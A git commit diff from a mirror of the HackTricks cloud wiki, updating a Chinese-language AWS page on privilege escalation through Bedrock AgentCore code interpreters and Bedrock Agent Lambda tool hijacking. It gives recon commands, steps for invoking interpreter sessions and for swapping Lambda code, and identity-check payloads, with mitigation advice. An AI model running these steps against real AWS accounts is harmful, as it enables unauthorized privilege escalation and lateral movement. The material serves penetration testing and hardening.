mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-04-28 12:03:08 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
@@ -6,21 +6,21 @@
|
||||
|
||||
### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot
|
||||
|
||||
AgentCore Code Interpreter 是一个受管的执行环境。**Custom Code Interpreters** 可以配置一个 **`executionRoleArn`**,该字段“为 code interpreter 提供访问 AWS 服务的权限”。
|
||||
AgentCore Code Interpreter 是一个托管执行环境。**Custom Code Interpreters** 可以配置一个 **`executionRoleArn`**,它“为 code interpreter 访问 AWS services 提供权限”。
|
||||
|
||||
如果一个**权限较低的 IAM principal** 能够**start + invoke** 一个配置为使用更高权限 execution role 的 Code Interpreter 会话,调用者就可以有效地**切换到该 execution role 的权限**(根据角色范围,这可能是横向移动或权限提升)。
|
||||
如果一个 **低权限 IAM principal** 可以 **start + invoke** 一个配置了 **更高权限 execution role** 的 Code Interpreter session,那么调用者实际上就可以 **pivot 到 execution role 的权限**(根据 role 范围不同,属于 lateral movement / privilege escalation)。
|
||||
|
||||
> [!NOTE]
|
||||
> 这通常是一个**配置错误 / 权限过度**的问题(例如给 interpreter 的 execution role 授予了过宽的权限和/或授予了广泛的 invoke 访问权限)。
|
||||
> AWS 明确警告,应通过确保 execution roles 的权限**不超过**被允许调用的主体来避免权限提升。
|
||||
> 这通常是一个 **misconfiguration / excessive permissions** 问题(给 interpreter execution role 赋予过宽的权限,和/或给过宽的 invoke 访问权限)。
|
||||
> AWS 明确警告要避免 privilege escalation,方法是确保 execution roles 的权限 **不高于** 被允许 invoke 的 identities,最好是 **相等或更少**。
|
||||
|
||||
#### Preconditions (common misconfiguration)
|
||||
|
||||
- 存在一个权限过大的 **custom code interpreter**,其 **execution role** 权限过宽(例如:可以访问敏感的 S3/Secrets/SSM 或具有类似 IAM 管理的能力)。
|
||||
- 一个用户(开发者/审计员/CI 身份)拥有以下权限:
|
||||
- 启动会话:`bedrock-agentcore:StartCodeInterpreterSession`
|
||||
- 调用工具:`bedrock-agentcore:InvokeCodeInterpreter`
|
||||
- (可选)该用户也可以创建 interpreter:`bedrock-agentcore:CreateCodeInterpreter`(允许他们根据组织的 guardrails 创建一个配置了 execution role 的新 interpreter)。
|
||||
- 存在一个 **custom code interpreter**,它带有过度授权的 **execution role**(例如:可以访问敏感的 S3/Secrets/SSM 或具备类似 IAM-admin 的能力)。
|
||||
- 某个用户(developer/auditor/CI identity)拥有以下权限:
|
||||
- start sessions: `bedrock-agentcore:StartCodeInterpreterSession`
|
||||
- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter`
|
||||
- (可选)该用户还可以创建 interpreters: `bedrock-agentcore:CreateCodeInterpreter`(这允许他们创建一个配置了 execution role 的新 interpreter,具体取决于组织的 guardrails)。
|
||||
|
||||
#### Recon (identify custom interpreters and execution role usage)
|
||||
|
||||
@@ -28,10 +28,10 @@ AgentCore Code Interpreter 是一个受管的执行环境。**Custom Code Interp
|
||||
```bash
|
||||
aws bedrock-agentcore-control list-code-interpreters
|
||||
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
|
||||
````
|
||||
> create-code-interpreter 命令支持 `--execution-role-arn`,用于定义该解释器将拥有的 AWS 权限。
|
||||
```
|
||||
> `create-code-interpreter` 命令支持 `--execution-role-arn`,它定义了 interpreter 将拥有的 AWS permissions。
|
||||
|
||||
#### 步骤 1 - 启动会话(这会返回一个 `sessionId`,而不是交互式 shell)
|
||||
#### Step 1 - 启动一个 session(这会返回一个 `sessionId`,而不是交互式 shell)
|
||||
```bash
|
||||
SESSION_ID=$(
|
||||
aws bedrock-agentcore start-code-interpreter-session \
|
||||
@@ -43,11 +43,11 @@ aws bedrock-agentcore start-code-interpreter-session \
|
||||
|
||||
echo "SessionId: $SESSION_ID"
|
||||
```
|
||||
#### 第2步 - 调用代码执行(Boto3 或 签名的 HTTPS)
|
||||
#### Step 2 - Invoke code execution (Boto3 or signed HTTPS)
|
||||
|
||||
没有来自 `start-code-interpreter-session` 的**interactive python shell**。执行是通过 **InvokeCodeInterpreter** 进行的。
|
||||
`start-code-interpreter-session` 不会提供 **interactive python shell**。执行是通过 **InvokeCodeInterpreter** 完成的。
|
||||
|
||||
**选项 A - Boto3 示例(执行 Python + 验证身份):**
|
||||
**Option A - Boto3 example (execute Python + verify identity):**
|
||||
```python
|
||||
import boto3
|
||||
|
||||
@@ -68,9 +68,9 @@ arguments={
|
||||
for event in resp.get("stream", []):
|
||||
print(event)
|
||||
```
|
||||
如果解释器配置了 execution role,`sts:GetCallerIdentity()` 的输出应该反映该 role 的身份(而不是 low-priv caller),从而证明 pivot。
|
||||
如果 interpreter 配置了 execution role,`sts:GetCallerIdentity()` 的输出应反映该 role 的身份(而不是低权限 caller),从而证明 pivot。
|
||||
|
||||
**选项 B - 签名的 HTTPS 调用 (awscurl):**
|
||||
**Option B - Signed HTTPS call (awscurl):**
|
||||
```bash
|
||||
awscurl -X POST \
|
||||
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
|
||||
@@ -89,16 +89,84 @@ awscurl -X POST \
|
||||
```
|
||||
#### 影响
|
||||
|
||||
* **Lateral movement** 到 解释器执行角色拥有的任何 AWS 访问权限。
|
||||
* **Privilege escalation** 如果解释器执行角色比调用者拥有更高权限。
|
||||
* 如果未为解释器调用启用 CloudTrail 数据事件,则检测更困难(根据配置,调用默认可能不会被记录)。
|
||||
* **横向移动** 到 interpreter execution role 拥有的任何 AWS 访问权限。
|
||||
* 如果 interpreter execution role 的权限比调用者更高,则可进行 **提权**。
|
||||
* 如果没有启用 CloudTrail data events 记录 interpreter 调用,检测会更困难(取决于配置,默认可能不会记录这些调用)。
|
||||
|
||||
#### 缓解 / 加固
|
||||
|
||||
* 对解释器 `executionRoleArn` 实施 **Least privilege**(将其当作 Lambda 执行角色 / CI 角色来处理)。
|
||||
* 对 interpreter `executionRoleArn` 实施 **最小权限**(把它当作 Lambda execution roles / CI roles 来对待)。
|
||||
* **限制谁可以调用** (`bedrock-agentcore:InvokeCodeInterpreter`) 以及谁可以启动会话。
|
||||
* 使用 **SCPs** 拒绝 InvokeCodeInterpreter,除非针对已批准的 agent runtime roles(可能需要在组织级别强制执行)。
|
||||
* 在适用情况下为 AgentCore 启用适当的 **CloudTrail data events**;对异常的调用和会话创建发出警报。
|
||||
* 使用 **SCPs** 拒绝 InvokeCodeInterpreter,除非是已批准的 agent runtime roles(在组织级别强制执行可能是必要的)。
|
||||
* 在适用情况下,为 AgentCore 启用相应的 **CloudTrail data events**;对异常调用和会话创建进行告警。
|
||||
|
||||
## Amazon Bedrock Agents
|
||||
|
||||
### `lambda:UpdateFunctionCode`, `bedrock:InvokeAgent` - 通过 Lambda 的 Agent Tool Hijacking
|
||||
|
||||
Bedrock Agents 可以将 **Lambda-backed action groups** 作为 tools(外部执行)使用。如果某个 principal 能 **修改 agent 所使用的 Lambda function 的代码**,并且随后还能 **invoke the agent**,那么他就能在 **Lambda execution role** 下执行由攻击者控制的代码。
|
||||
|
||||
> [!NOTE]
|
||||
> 这是一次 **cross-service trust abuse**(Bedrock → Lambda),不是漏洞。攻击者可能无法直接 invoke 这个 Lambda,但仍然可以通过 agent 触发它。
|
||||
|
||||
#### 前置条件(常见错误配置)
|
||||
|
||||
- 存在一个 Bedrock Agent,其 **action group 由 Lambda function 支持**
|
||||
- 攻击者具有:
|
||||
- `lambda:UpdateFunctionCode`
|
||||
- `bedrock:InvokeAgent`
|
||||
- Lambda execution role 的权限比攻击者更广
|
||||
- 攻击者可以识别 agent 使用的 Lambda
|
||||
|
||||
#### 侦察
|
||||
|
||||
枚举 agent action groups:
|
||||
```bash
|
||||
aws bedrock-agent list-agents
|
||||
aws bedrock-agent get-agent --agent-id <AGENT_ID>
|
||||
aws bedrock-agent list-agent-action-groups --agent-id <AGENT_ID> --agent-version DRAFT
|
||||
```
|
||||
Inspect Lambda:
|
||||
```bash
|
||||
aws lambda get-function --function-name <FUNCTION_NAME>
|
||||
```
|
||||
#### 利用
|
||||
|
||||
替换 Lambda code:
|
||||
```bash
|
||||
zip payload.zip lambda_function.py
|
||||
|
||||
aws lambda update-function-code \
|
||||
--function-name <FUNCTION_NAME> \
|
||||
--zip-file fileb://payload.zip
|
||||
```
|
||||
示例 payload:
|
||||
```python
|
||||
import boto3
|
||||
|
||||
def lambda_handler(event, context):
|
||||
return boto3.client("sts").get_caller_identity()
|
||||
```
|
||||
通过 agent 触发:
|
||||
```bash
|
||||
aws bedrock-agent-runtime invoke-agent \
|
||||
--agent-id <AGENT_ID> \
|
||||
--agent-alias-id <ALIAS_ID> \
|
||||
--session-id test \
|
||||
--input-text "trigger tool"
|
||||
```
|
||||
#### 影响
|
||||
|
||||
* **Privilege escalation** 到 Lambda execution role
|
||||
* 从 AWS services 中进行 **Data exfiltration**
|
||||
* 通过 trusted agent execution 进行 **Cross-service abuse**
|
||||
|
||||
#### 缓解措施
|
||||
|
||||
* **Restrict** `lambda:UpdateFunctionCode`
|
||||
* 使用 **least-privilege** 的 Lambda roles
|
||||
* **Monitor** Lambda 代码变更
|
||||
* **Audit** Bedrock agent tool 使用
|
||||
|
||||
## References
|
||||
|
||||
@@ -108,6 +176,7 @@ awscurl -X POST \
|
||||
- [AWS CLI: start-code-interpreter-session (returns `sessionId`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html)
|
||||
- [AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-api-reference-examples.html)
|
||||
- [AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html)
|
||||
- [SoftwareSecured: AWS Privilege Escalation Techniques (Bedrock agent tool hijacking)](https://www.softwaresecured.com/post/aws-privilege-escalation-iam-risks-service-based-attacks-and-new-ai-driven-bedrock-agentcore-vectors)
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user